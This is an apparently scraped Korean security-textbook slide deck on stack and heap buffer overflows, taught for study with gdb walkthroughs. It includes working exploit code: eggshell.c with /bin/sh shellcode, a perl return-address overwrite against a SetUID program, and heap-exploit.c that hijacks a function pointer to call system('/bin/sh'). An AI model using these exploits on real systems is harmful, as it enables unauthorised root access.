89
IT CookBook, 정정 정정 정정정 정정 : 정정정 정정정 정정 ( 정정정 ) 정정 정정정정정

버퍼 오버플로우

  • Upload
    javen

  • View
    211

  • Download
    0

Embed Size (px)

DESCRIPTION

7. 버퍼 오버플로우. 학습목표 스택과 힙 버퍼 오버플로우 취약점을 이해한다 . 스택과 힙 버퍼 오버플로우 공격을 수행할 수 있다 . 스택과 힙 버퍼 오버플로우 공격에 대한 대응책을 이해한다 내용 스택 버퍼 오버플로우 공격 힙 버퍼 오버플로우 공격 버퍼 오버플로우 공격에 대한 대책과 발전된 공격. 스택 버퍼 오버플로우 공격. 버퍼 (Buffer) : 데이터를 전송 , 전송하는 동안 일시 보관하는 메모리 오버플로우 : 버퍼가 가지는 일정 크기를 넘는 데이터가 입력되는 현상 - PowerPoint PPT Presentation

Citation preview

Page 1: 버퍼 오버플로우

IT CookBook, 정보 보안 개론과 실습 : 시스템 해킹과 보안 (개정판 )

버퍼 오버플로우

Page 2: 버퍼 오버플로우

2/89

Contents

학습목표 스택과 힙 버퍼 오버플로우 취약점을 이해한다 . 스택과 힙 버퍼 오버플로우 공격을 수행할 수 있다 . 스택과 힙 버퍼 오버플로우 공격에 대한 대응책을 이해한다

내용 스택 버퍼 오버플로우 공격 힙 버퍼 오버플로우 공격 버퍼 오버플로우 공격에 대한 대책과 발전된 공격

Page 3: 버퍼 오버플로우

3/89

스택 버퍼 오버플로우 공격

버퍼 (Buffer) : 데이터를 전송 , 전송하는 동안 일시 보관하는 메모리 오버플로우 : 버퍼가 가지는 일정 크기를 넘는 데이터가 입력되는 현상 버퍼 오버플로우 공격 : 버퍼에 일정 크기 이상의 데이터를 입력 , 프로그램을 공격 프로그램이 사용하는 버퍼 : 메모리의 스택 (Stack) 과 힙 (Heap) 에 존재 스택 버퍼 오버플로우와 힙 버퍼 오버플로우로 구분 : 스택에 존재하는 버퍼에 대한

공격이냐 힙에 존재하는 버퍼에 대한 공격이냐에 따라 구분

Page 4: 버퍼 오버플로우

4/89

스택 버퍼 오버플로우 공격

스택 버퍼 오버플로우 공격에 취약한 예

➊ int main(int argc, char *argv[]) : argc 는 취약한 코드인 bugfile.c 가 컴파일되어

실행되는 프로그램의 인수 개수 , *argv[] 는 포인터 배열 ( 인자로 입력되는 값에 대한

번지 수 차례로 저장 ), 인자가 2 개일 경우 argv 의 내용은 다음과 같다 .

•argv[0] : 실행 파일 이름

•argv[1] : 첫 번째 인자 내용

•argv[2] : 두 번째 인자 내용

➋ char buffer[10] : 크기가 10 바이트인 버퍼 할당

➌ strcpy(buffer, argv[1]) : 버퍼에 첫 번째 인자 (argv[1]) 복사

➍printf“( %s\n”,&buffer) : 버퍼에 저장된 내용 출력

스택 버퍼 오버플로우 공격은 strcpy(buffer, argv[1]) 에서 발생

bugfile.c #include <stdio.h>➊ int main(int argc, char *argv[]) {➋ char buffer[10];➌ strcpy(buffer, argv[1]);➍ printf("%s\n", &buffer); }

Page 5: 버퍼 오버플로우

5/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

bugfile.c 컴파일

gdb 디버깅 : -g 옵션 사용 gcc 로 컴파일

[ 그림 7-1] bugfile.c 컴파일

1

gcc bugfile.c -g -o bugfilels -al

Page 6: 버퍼 오버플로우

6/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

gdb 를 이용해 bugfile.c 소스 코드 확인

list : gdb 이용 bugfile.c 파일을 열어 소스 코드 확인하는 명령

[ 그림 7-2] gdb 로 bugfile.c 소스 코드 확인

2

gdb bugfilelist

Page 7: 버퍼 오버플로우

7/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

list 명령 : 특정 행의 범위 (3 ∼행 7 행 ) 를 조회

[ 그림 7-3] list 명령으로 특정 행 범위 조회

list 3, 7

Page 8: 버퍼 오버플로우

8/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

브레이크 포인트 설정

gdb 이용 디버깅 수행시 list 명령 수행 결과로 나타난 프로그램 행 번호 기준 ‘b(reak) [ 브레이크 포인트 설정 행 ]’ 명령 이용

[ 그림 7-4] 5 행에 브레이크 포인트 설정

3

break 5

Page 9: 버퍼 오버플로우

9/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

bugfile.c 의 어셈블리어 코드 확인

main 과 strcpy 함수의 어셈블리어 코드 확인 ‘함수별 어셈블리어 코드는 disass [ 함수이름 ]’ 명령으로 확인

[ 그림 7-5] main 함수 어셈블리어 코드 확인

4

disass main

Page 10: 버퍼 오버플로우

10/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

[ 그림 7-6] strcpy 함수 어셈블리어 코드 확인

disass strcpy

Page 11: 버퍼 오버플로우

11/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

설정 브레이크 포인트 지점까지 프로그램 실행 후 변수 확인

설정한 브레이크 포인트 (char buffer[10];) 까지 프로그램 실행 ‘r(un) [ 인수 ]’ 명령 이용 인수‘ AAAA’ 입력

[ 그림 7-7] 프로그램 디버깅을 위한 프로그램 실행

5

run AAAA

Page 12: 버퍼 오버플로우

12/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

브레이크 포인트에서 각 변수 값과 스택의 구조 확인 변수 값은 ‘ p(rint) [ 변수이름 ]’ 을 통해서 확인

[ 그림 7-8] 주요 변수 값 확인

print argcprint argv[0]print argv[1]print buffer

Page 13: 버퍼 오버플로우

13/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

레지스터 값과 스택 확인

레지스터 전체 값 : info reg 명령 조회 특정 레지스터 값 : info reg [ 레지스터종류 ] 명령 스택 확인 : ‘ x/[ 조회하는메모리범위 ]xw[ 조회하는메모리지점 ]’

[ 그림 7-9] esp 값 확인 및 esp 값으로부터 스택 내용 확인

6

info reg $espx/16xw $esp

Page 14: 버퍼 오버플로우

14/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

다음 단계로 넘어가기

gdb 에서 다음 단계로 넘어가는 명령

•s(tep) : 한 행씩 실행하는데 함수 포함하면 함수 내부로 이동 실행 .

올리 디버거 툴의 [Step into] 메뉴와 기능 동일

•n(ext) : 한 행씩 실행하는데 함수 포함하면 함수 완전 실행 후 다음 행으로 이동

올리 디버거 툴의 [Step over] 메뉴와 기능 동일

•c(ontinue) : 현재 위치에서 프로그램의 끝 ( 또는 브레이크 ) 까지 실행

7

info reg $espx/16xw $esp

Page 15: 버퍼 오버플로우

15/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

n(ext) 명령으로‘ strcpy(buffer, argv[1]);’ 실행 후 buffer 값과 esp 값으로부터

스택 내용 다시 확인

[ 그림 7-10] esp 레지스터와 esp 포인트부터 스택 확인

nextprint bufferinfo reg $espx/16xw $esp

Page 16: 버퍼 오버플로우

16/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

c(ontinue) 명령으로 프로그램 마지막까지 실행

[ 그림 7-11] 프로그램 마지막까지 실행

continue

Page 17: 버퍼 오버플로우

17/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

char buffer[10] 범위를 넘겨서 실행

버퍼 오버플로우 확인 : ‘printf“( %s\n”, &buffer);’ 행에 브레이크 포인트를 설정

A 를 13 개 인수로 입력 , 스택 내용 확인

[ 그림 7-12] esp 레지스터와 esp 포인트부터 스택 확인

8

break 6run AAAAAAAAAAAAAx/16xw $esp

Page 18: 버퍼 오버플로우

18/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

➊ 0x80483f8 <main>: push %ebp 최초의 프레임 포인터 (ebp) 값 스택 저장

➋ 0x80483f9 <main+1>: mov %esp,%ebp 현재의 esp 값 ebp 레지스트리 저장

➌ 0x80483fb <main+3>: sub $0xc,%esp esp 값 (int c 할당 값 ) 에서 12(0xc)

바이트만큼 뺀다 . 스택에 4 바이트 용량 할당 , 스택에 buffer[10] 을 할당한 부분

Page 19: 버퍼 오버플로우

19/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

➍ 0x80483fe <main+6>: mov 0xc(%ebp),%eax ebp 에서 상위 12 바이트(0xC) 의

내용을 eax 레지스터에 저장

int main(intargc, char *argv[]) 함수가 호출되기 전에

인수 부분 (int argc, char *argv[]) 이 스택에 쌓인것

Page 20: 버퍼 오버플로우

20/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

➎ 0x8048401 <main+9>: add $0x4,%eax eax 값에서 4 바이트만큼 증가 .

주소 값 하나는 4 바이트고 , eax 는 argv[0] 에 대한 포인터이므로 argv[1] 가리킴

➏ 0x8048404 <main+12>: mov (%eax),%edx eax 레지스터가 가리키는 주 소의 값을

edx 레지스터에 저장 , 프로그램을 실행할 때 인수 부분 가리킴

➐ 0x8048406 <main+14>: push %edx

프로그램 실행할 때 인수에 대한 포인터를 스택에 저장 . 인수를 주지 않고 프로그램

실행하면 스택에 0x0 값 저장

Page 21: 버퍼 오버플로우

21/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

➑ 0x8048407 <main+15>: lea 0xfffffff4(%ebp),%eax

-12(%ebp) 의 주소에 대한 주소 값을 eax 레지스터에 저장

실행되는 실행 파일 이름 (argv[0]) 의 주소에 대한 주소 값

➒ 0x804840a <main+18>: push %eax 스택에 eax 를 저장

Page 22: 버퍼 오버플로우

22/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

➓ 0x804840b <main+19>: call 0x8048340 <strcpy> strcpy 명령 호출

Page 23: 버퍼 오버플로우

23/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

strcpy 함수• 입력된 인수의 경계 체크 않음• 인수는 buffer[10] 으로 길이가 10 바이트를 넘으면 안 됨• 이보다 큰 인수를 받더라도 스택에 씀 • Step 8 과 같이 인수로 A 13 개를 쓰면 다음 그림과 같이 A 가 쌓임

Page 24: 버퍼 오버플로우

24/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

ebp 일부 주소 중 1 바이트를 A 문자열이 덮어쓰기 때문에 저장된 ebp 값 손상

프로그램은 오류 발생 셸 코드를 메모리에 올려두고 ret 주소를 셸 코드의 실행 주소로 바꾸면 프로그램이

실행을 마치고 돌아갈 곳을 공격 셸이 위치한 곳으로 바꿔줌으로써 스택 버퍼 오버

플로우 공격은 수행되고 셸을 얻을 수 있음 단 , SetUID 가 스택 오버플로우 가능한 프로그램에 설정 , 관리자 소유의 파일이어야

Page 25: 버퍼 오버플로우

25/89

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

Page 26: 버퍼 오버플로우

26/89

실습 7-2 스택 버퍼 오버플로우 수행하기

eggshell.c

#include <stdlib.h>#define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512#define DEFAULT_EGG_SIZE 2048#define NOP 0x90char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80""\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46""\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89""\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68""\x00\xc9\xc3\x90/bin/sh";

unsigned long get_esp(void) {__asm__("movl %esp,%eax");

}

Page 27: 버퍼 오버플로우

27/89

실습 7-2 스택 버퍼 오버플로우 수행하기

void main(int argc, char *argv[]) {char *buff, *ptr, *egg;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i, eggsize=DEFAULT_EGG_SIZE;if(argc > 1) bsize = atoi(argv[1]);if(argc > 2) offset = atoi(argv[2]);if(argc > 3) eggsize = atoi(argv[3]);if(!(buff = malloc(bsize))) {printf("Can't allocate memory.\n");exit(0);}if(!(egg = malloc(eggsize))) {

printf("Can't allocate memory.\n");exit(0);

}

Page 28: 버퍼 오버플로우

28/89

실습 7-2 스택 버퍼 오버플로우 수행하기

addr = get_esp() - offset;printf("Using address: 0x%x\n", addr);ptr = buff;addr_ptr = (long *) ptr;for(i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;ptr = egg;for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)

*(ptr++) = NOP;for(i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];buff[bsize - 1] = '\0';egg[eggsize - 1] = '\0';memcpy(egg,"EGG=",4);putenv(egg);memcpy(buff,"RET=",4);putenv(buff);system("/bin/bash");

}

Page 29: 버퍼 오버플로우

29/89

bugfile.c 와 eggshell.c 컴파일 bugfile.c 를 관리자 계정으로 컴파일한 후 , SetUID 를 부여

[ 그림 7-20] 실습 전 환경 구성

실습 7-2 스택 버퍼 오버플로우 수행하기

1

gcc -o bugfile bugfile.cgcc -o egg eggshell.cchmod 4755 bugfilels -alsu - wishfree

Page 30: 버퍼 오버플로우

30/89

취약 함수 찾기 strings 명령 : 컴파일한 프로그램이 사용한 함수 확인

[ 그림 7-21] 컴파일한 파일 속에서 strcpy 사용 확인

gdb 이용 확인한 strcpy 함수가 어떻게 사용되는지 , 공격자가 이 입력 값에 대한 조작이 가능한지 판단

실습 7-2 스택 버퍼 오버플로우 수행하기

2

strings bugfile

Page 31: 버퍼 오버플로우

31/89

‘Segmentation Fault’ 가 일어나는 지점 찾기 프로그램 ret 주소 변조 : ‘ Segmentation fault’ 오류 발생 , 이오류를 통해

ret 주소

위치 역으로 확인 . ret 주소가 저장되는 위치를 찾기 위해

임의 길이의 A 문자 입력

[ 그림 7-22] ‘입력 버퍼 이상의 문자열 입력 시 일어나는 Segmentation fault

16 번째 문자에서 ‘ Segmentation fault’ 가 발생 (bugfile.c 의 char buffer[10] 가

할당되는 주소 공간 12 바이트 , ebp 저장 공간 4 바이트이기 때문 17∼20 바이트까지 ret 주소임

실습 7-2 스택 버퍼 오버플로우 수행하기

3

./bugfile AAAAAAAAAAAAAAA

./bugfile AAAAAAAAAAAAAAAA

Page 32: 버퍼 오버플로우

32/89

eggshell 실행 eggshell 실행 셸 코드를 메모리에 남겨두고 주소 확인

[ 그림 7-23] eggshell 실행 스택 버퍼 오버플로우 공격 수행

펄 (Perl) 이용 A 문자열과 셸의 메모리 주소를 bugfile 에 직접 실행

[ 그림 7-24] 스택 버퍼 오버플로우 공격의 수행

실습 7-2 스택 버퍼 오버플로우 수행하기

4

./eggshell

5

perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x38\xfd\xff\xbf"'

id

Page 33: 버퍼 오버플로우

33/89

힙 버퍼 오버 플로우

힙 : 프로그램 실행 시 동적으로 할당한 메모리 공간• malloc 계열의 heapalloc, aeapfree, malloc, free, new, delete 등의 함수로 제어• BSS(Block Started by Symbol) 라고도 부름• 스택과 반대로 메모리의 하위 주소에서 상위 주소로 영역이 커짐

Page 34: 버퍼 오버플로우

34/89

힙 버퍼 오버플로우의 동작을 gdb 로 분석 heap_test_02.c 는 heap_test_01.c 를 gdb 로 효율적으로 분석하려고 간략화 한

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

heap_test_01.c

#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#define BUFSIZE 16#define OVERSIZE 8int main(){

u_long address_diff;char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);address_diff = (u_long)buf2 - (u_long)buf1;printf("buf1 = %p, buf2 = %p, address_diff = 0x%x bytes\n", buf1, buf2,address_diff);memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = ‘\0’;printf(" 오버플로우 전 buf1 의 내용 = %s\n", buf1);printf(" 오버플로우 전 buf2 의 내용 = %s\n\n", buf2);memset(buf1, 'B', (u_int)(address_diff + OVERSIZE));printf(" 오버플로우 후 buf1 의 내용 = %s\n", buf1);printf(" 오버플로우 후 buf2 의 내용 = %s\n", buf2);return 0;

}

Page 35: 버퍼 오버플로우

35/89

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

heap_test_02.

c#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>

int main(){u_long address_diff;char *buf1 = (char *)malloc(16);char *buf2 = (char *)malloc(16);address_diff = (u_long)buf2 - (u_long)buf1;memset(buf2, 'A', 15), buf2[15] = '\0';memset(buf1, 'B', (u_int)(address_diff + 8));printf(" 오버플로우 후 buf2 의 내용 = %s\n", buf2);return 0;

}

Page 36: 버퍼 오버플로우

36/89

heap_test_01.c, heap_test_02.c 컴파일 heap_test_02.c 는 gdb 에서 디버깅할 예정이므로 -g 옵션 주어 컴파일

[ 그림 7-26] heap_test_01.c, heap_test_02.c 컴파일

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

gcc -o heap_test_01 heap_test_01.cgcc -g -o heap_test_02 heap_test_02.c

1

Page 37: 버퍼 오버플로우

37/89

heap_test_01 실행 결과 확인 malloc 함수 이용 힙에 메모리 공간 할당한 두 버퍼 값 (buf1, buf2) 의 오버플로우

전후 값 변화 확인

[ 그림 7-27] heap_test_01 실행 결과

이 결과를 가져온 것은 heap_test_01.c 의 memset(buf1,‘ B’, (u_int)(address_diff +OVERSIZE)); 부분 , address_diff(24, 0x18) 과 OVERSIZE(8) 값을 더한 만큼 buf1 에

입력 . 즉 buf2 가 OVERSIZE(8) 만큼 B 문자로 덮어씌워짐

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

./heap_test_01

2

항목 오버플로우 전 내용 오버플로우 후 내용

buf1 없음 B 문자 32(24+8) 개와 A 문자 7개

buf2 A 문자 15 개 B 문자 8 개와 A 문자 7 개

Page 38: 버퍼 오버플로우

38/89

heap_test_02 실행 결과 확인 heap_test_02 를 실행

[ 그림 7-28] heap_test_02 실행 결과

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

./heap_test_02

3

Page 39: 버퍼 오버플로우

39/89

gdb 로 heap_test_02 의 main 함수 확인

[ 그림 7-29] gdb 를 통한 heap_test_02 실행과 main 함수 어셈블리어 확인

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

gdb ./heap_test_02disass main

4

Page 40: 버퍼 오버플로우

40/89

main 함수의 내용을 어셈블리어 분석

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

0x8048440 <main>: push %ebp0x8048441 <main+1>: mov %esp,%ebp0x8048443 <main+3>: sub $0xc,%esp0x8048446 <main+6>: push $0x100x8048448 <main+8>: call 0x8048334 <malloc>0x804844d <main+13>: add $0x4,%esp0x8048450 <main+16>: mov %eax,%eax0x8048452 <main+18>: mov %eax,0xfffffff8(%ebp)0x8048455 <main+21>: push $0x100x8048457 <main+23>: call 0x8048334 <malloc>0x804845c <main+28>: add $0x4,%esp0x804845f <main+31>: mov %eax,%eax0x8048461 <main+33>: mov %eax,0xfffffff4(%ebp)0x8048464 <main+36>: mov 0xfffffff4(%ebp),%eax0x8048467 <main+39>: mov 0xfffffff8(%ebp),%edx0x804846a <main+42>: mov %eax,%ecx0x804846c <main+44>: sub %edx,%ecx0x804846e <main+46>: mov %ecx,0xfffffffc(%ebp)0x8048471 <main+49>: push $0xf0x8048473 <main+51>: push $0x41

Page 41: 버퍼 오버플로우

41/89

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

0x8048475 <main+53>: mov 0xfffffff4(%ebp),%eax0x8048478 <main+56>: push %eax0x8048479 <main+57>: call 0x8048374 <memset>0x804847e <main+62>: add $0xc,%esp0x8048481 <main+65>: mov 0xfffffff4(%ebp),%eax0x8048484 <main+68>: add $0xf,%eax0x8048487 <main+71>: movb $0x0,(%eax)0x804848a <main+74>: mov 0xfffffffc(%ebp),%eax0x804848d <main+77>: add $0x8,%eax0x8048490 <main+80>: push %eax0x8048491 <main+81>: push $0x420x8048493 <main+83>: mov 0xfffffff8(%ebp),%eax0x8048496 <main+86>: push %eax0x8048497 <main+87>: call 0x8048374 <memset>0x804849c <main+92>: add $0xc,%esp0x804849f <main+95>: mov 0xfffffff4(%ebp),%eax0x80484a2 <main+98>: push %eax0x80484a3 <main+99>: push $0x80485400x80484a8 <main+104>: call 0x8048364 <printf>0x80484ad <main+109>: add $0x8,%esp0x80484b0 <main+112>: xor %eax,%eax0x80484b2 <main+114>: jmp 0x80484b4 <main+116>0x80484b4 <main+116>: leave0x80484b5 <main+117>: ret

Page 42: 버퍼 오버플로우

42/89

u_long address_diff; 까지 실행 확인 main 함수에 브레이크 포인트 설정 , 실행 u_long address_diff; 다음인 char*buf1 = (char *)malloc(16); 에서 실행 멈춤

[ 그림 7-30] main 함수 시작 포인트에 브레이크 포인트 설정 후 실행

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

break mainrun

5

Page 43: 버퍼 오버플로우

43/89

어셈블리어 코드의 <main+3> 까지 [ 그림 7-30] 의 실행 결과에 해당 unsigned long 값인 address_diff(4 바이트 ), 포인터 주소 값인 char *buf1(4

바이트 ) 과 char *buf2(4 바이트 ) 에 대한 메모리가 12 바이트 (0xc) 만큼 스택에 할당

스택에 할당된 12 바이트의 주소에 힙 주소에 대한 포인터 값이 저장

실행 후 스택모습 : ebp 값이 0xbffffd48 이므로 , sfp 값인 0xbffffd68 앞의 세값은 u_long address_diff = 0x08049580, char *buf1 = 0x0804956c, char *buf2= 0x0804842b

[ 그림 7-31] u_long address_diff; 실행 후 스택 확인

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

0x8048440 <main>: push %ebp0x8048441 <main+1>: mov %esp,%ebp0x8048443 <main+3>: sub $0xc,%esp

info reg ebpinfo reg espx/12xw $esp

Page 44: 버퍼 오버플로우

44/89

char *buf1 = (char *)malloc(16); 까지 실행 확인 next 명령

[ 그림 7-32] char *buf1 = (char *)malloc(16); 까지 실행

어셈블리어 코드

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

next

6

0x8048446 <main+6>: push $0x100x8048448 <main+8>: call 0x8048334 <malloc>0x804844d <main+13>: add $0x4,%esp0x8048450 <main+16>: mov %eax,%eax0x8048452 <main+18>: mov %eax,0xfffffff8(%ebp)

Page 45: 버퍼 오버플로우

45/89

Malloc 에 의해 buf1 에 대한 포인터 주소 값 할당 , 힙은 초기화

[ 그림 7-33] char *buf1 = (char *)malloc(16); 실행 후 스택 확인

buf1 의힙에서의주소 (0x08049668) 를확인

[ 그림 7-34] char *buf1 = (char *)malloc(16); 실행 후 힙의 buf1 값 확인

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

info reg espx/12xw $esp

x/4xw 0x8049668

Page 46: 버퍼 오버플로우

46/89

char *buf2 = (char *)malloc(16); 까지 실행 확인 char *buf1 = (char *)malloc(16); 실행과 동일

[ 그림 7-35] char *buf1 = (char *)malloc(16); 실행 후 스택과 힙의 buf2 값 확인

어셈블리어 코드

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

nextinfo reg espx/12xw $espx/4xw 0x8049680

7

0x8048455 <main+21>: push $0x100x8048457 <main+23>: call 0x8048334 <malloc>0x804845c <main+28>: add $0x4,%esp0x804845f <main+31>: mov %eax,%eax0x8048461 <main+33>: mov %eax,0xfffffff4(%ebp)

Page 47: 버퍼 오버플로우

47/89

address_diff = (u_long)buf2 - (u_long)buf1; 까지 실행 확인 address_diff 에 0x18 이 저장 - 0x18(24)(0x8049680 - 0x8049668)

[ 그림 7-36] address_diff = (u_long)buf2 - (u_long)buf1; 실행 시 스택 구조

어셈블리어 코드

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

nextx/12xw $espprint address_diff

8

0x8048464 <main+36>: mov 0xfffffff4(%ebp),%eax0x8048467 <main+39>: mov 0xfffffff8(%ebp),%edx0x804846a <main+42>: mov %eax,%ecx0x804846c <main+44>: sub %edx,%ecx0x804846e <main+46>: mov %ecx,0xfffffffc(%ebp)

Page 48: 버퍼 오버플로우

48/89

memset(buf2,‘ A’, 15), buf2[15] =‘ \0’; 까지 실행 확인 buf2 에 A 문자를 15 개 입력 후 확인

[ 그림 7-37] memset(buf2, ‘A’, 15) 실행 후 힙에서 buf2 값 확인

어셈블리어 코드

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

nextx/4xw 0x8049680

9

0x8048471 <main+49>: push $0xf0x8048473 <main+51>: push $0x410x8048475 <main+53>: mov 0xfffffff4(%ebp),%eax0x8048478 <main+56>: push %eax0x8048479 <main+57>: call 0x8048374 <memset>0x804847e <main+62>: add $0xc,%esp0x8048481 <main+65>: mov 0xfffffff4(%ebp),%eax0x8048484 <main+68>: add $0xf,%eax0x8048487 <main+71>: movb $0x0,(%eax)

Page 49: 버퍼 오버플로우

49/89

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

Page 50: 버퍼 오버플로우

50/89

memset(buf1,‘ B’, (u_int)(address_diff + 8)); 까지 실행 확인 B 문자 32(24+8) 개를 buf1 에 입력 후 확인

[ 그림 7-39] memset(buf1, ‘B’, (u_int)(address_diff + 8)); 실행 후 buf1 값을 힙에서확인

buf2 영역이었던 메모리 영역까지 buf1 의 B(42) 문자 저장 여기에서 힙 버퍼 오버플로우가 일어난 것

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

nextx/12xw 0x8049668

10

Page 51: 버퍼 오버플로우

51/89

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

Page 52: 버퍼 오버플로우

52/89

어셈블리어 코드

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

0x804848a <main+74>: mov 0xfffffffc(%ebp),%eax0x804848d <main+77>: add $0x8,%eax0x8048490 <main+80>: push %eax0x8048491 <main+81>: push $0x420x8048493 <main+83>: mov 0xfffffff8(%ebp),%eax0x8048496 <main+86>: push %eax0x8048497 <main+87>: call 0x8048374 <memset>0x804849c <main+92>: add $0xc,%esp

Page 53: 버퍼 오버플로우

53/89

힙 버퍼 오버플로우 취약점을 이용해 관리자 권한의 셸을 획득하는 실습

실습 7-4 힙 버퍼 오버플로우 수행하기

heap-bugfile.c#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#include <dlfcn.h>#define ERROR -1int fucntion(const char *str){

printf("function 포인터에 호출되는 정상적인 함수 \n", str);return 0;

}int main(int argc, char **argv){

static char buf[16];static int(*funcptr)(const char *str);if(argc <= 2) {

fprintf(stderr, " 사용법 : %s <buffer> <fucntion's arg>\n", argv[0]);

exit(ERROR);}printf("system() 함수의 주소 값 = %p\n", &system);funcptr = (int (*)(const char *str))fucntion;memset(buf, 0, sizeof(buf));strncpy(buf, argv[1], strlen(argv[1]));(void)(*funcptr)(argv[2]);return 0;

}

Page 54: 버퍼 오버플로우

54/89

실습 7-4 힙 버퍼 오버플로우 수행하기

heap-exploit.c#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#define BUFSIZE 16 // 함수 포인터 (funcptr) 과 buf 와의 거리#define BUGPROG "./heap-bugfile" // 취약 프로그램의 위치#define CMD "/bin/sh" // 실행할 명령#define ERROR -1int main(int argc, char **argv){

register int i;u_long sysaddr;static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};if(argc <= 1){

fprintf(stderr, "Usage: %s <offset>\n", argv[0]);exit(ERROR);

}sysaddr =(u_long)&system - atoi(argv[1]);printf("Trying system() at 0x%lx\n", sysaddr);memset(buf, 'A', 16);for(i = 0; i < sizeof(sysaddr); i++)

buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;execl(BUGPROG, BUGPROG, buf, CMD, NULL);return 0;

}

Page 55: 버퍼 오버플로우

55/89

heap-bugfile.c 컴파일 , 권한 부여

[ 그림 7-41] heap-bugfile.c 컴파일 및 권한 부여 후 확인 heap-bugfile 실행 결과 확인

[ 그림 7-42] heap-bugfile 의 실행 결과

실습 7-4 힙 버퍼 오버플로우 수행하기

gcc -o heap-bugfile heap-bugfile.cchmod 4755 heap-bugfilels -al

1

./heap-bugfile 10 wishfree

2

Page 56: 버퍼 오버플로우

56/89

공격 코드 컴파일

[ 그림 7-43] heap-exploit.c 컴파일

실습 7-4 힙 버퍼 오버플로우 수행하기

gcc -g -o heap-exploit heap-exploit.cls -al

3

Page 57: 버퍼 오버플로우

57/89

힙 버퍼 오버플로우 공격 수행 공격 시 오프셋 (Offset) 값 임의로 입력 heap_bugfile 의 System() 주소값과 공격코드 heap-exploit 이 시도하는

system() 함수의 주소 값을 일치시키는 값을 찾음 임의로 8 을 입력하면 0x8048400 가 0x80484fc 와 4 바이트 차이 오프셋을 12 바이트로 공격 시도 , 관리자 권한의 셸이 뜨는 것 확인

[ 그림 7-44] 임의의 값을 인수로 입력해 heap-exploit 실행

